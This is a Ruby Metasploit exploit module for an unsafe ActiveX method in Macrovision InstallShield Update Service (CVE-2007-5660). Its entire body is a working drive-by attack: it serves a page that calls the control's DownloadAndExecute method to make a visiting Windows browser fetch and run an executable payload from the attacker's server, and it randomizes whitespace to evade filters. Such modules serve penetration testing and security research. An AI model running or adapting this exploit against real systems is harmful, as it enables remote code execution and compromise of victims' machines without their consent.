Macrovision InstallShield Update Service ActiveX Unsafe Method



##

# $Id: macrovision_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Macrovision InstallShield Update Service ActiveX Unsafe Method',
            'Description'    => %q{
                This module allows attackers to execute code via an unsafe methods in Macrovision InstallShield 2008.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2007-5660' ],
                    [ 'OSVDB', '38347' ],
                    [ 'BID', '26280' ],
                ],
            'Payload'        =>
                {
                    'Space'           => 2048,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 20 2007'))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)

        payload_url =  "http://"
        payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

        if (request.uri.match(/payload/))
            return if ((p = regenerate_payload(cli)) == nil)
            data = generate_payload_exe({ :code => p.encoded })
            print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end

        vname  = rand_text_alpha(rand(100) + 1)
        exe    = rand_text_alpha(rand(20) + 1)

        content = %Q|
            <html>
                <object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
                <script language='JavaScript'>
                    #{vname}.Initialize("#{vname}","#{vname}","","");
                    #{vname}.DownloadAndExecute("","",1,"#{payload_url}/#{exe}.exe","");
                    #{vname}.DownloadAndInstall("True");
                </script>
            </html>
                        |

        content = Rex::Text.randomize_space(content)

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        send_response_html(cli, content)

        handler(cli)

    end

end